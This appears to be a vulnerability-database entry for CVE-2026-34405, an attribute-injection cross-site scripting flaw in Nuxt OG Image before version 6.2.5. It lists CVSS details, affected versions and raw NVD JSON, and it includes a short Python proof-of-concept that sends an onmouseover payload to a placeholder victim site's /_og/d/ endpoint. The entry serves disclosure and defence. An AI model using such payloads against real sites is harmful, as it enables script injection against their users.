Security Vulnerability Report
中文
CVE-2026-34405 CVSS 6.1 MEDIUM

CVE-2026-34405

Published: 2026-03-31 22:16:19
Last Modified: 2026-04-13 15:17:24

Description

Nuxt OG Image generates OG Images with Vue templates in Nuxt. Prior to version 6.2.5, the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. This issue has been patched in version 6.2.5.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nuxt:og_image:*:*:*:*:*:node.js:*:* - VULNERABLE
Nuxt OG Image < 6.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = "http://victim-site.com/_og/d/" payload = { "path": "/", "xss": "\" onmouseover=\"alert(1)\"" } r = requests.get(target, params=payload) print(f"Status: {r.status_code}") print("Check response body for injected attribute.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34405", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:18.813", "lastModified": "2026-04-13T15:17:23.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nuxt OG Image generates OG Images with Vue templates in Nuxt. Prior to version 6.2.5, the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. This issue has been patched in version 6.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nuxt:og_image:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "6.2.5", "matchCriteriaId": "4C6B8532-3E90-4B23-8869-FB392D2BF6DD"}]}]}], "references": [{"url": "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-mg36-wvcr-m75h", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}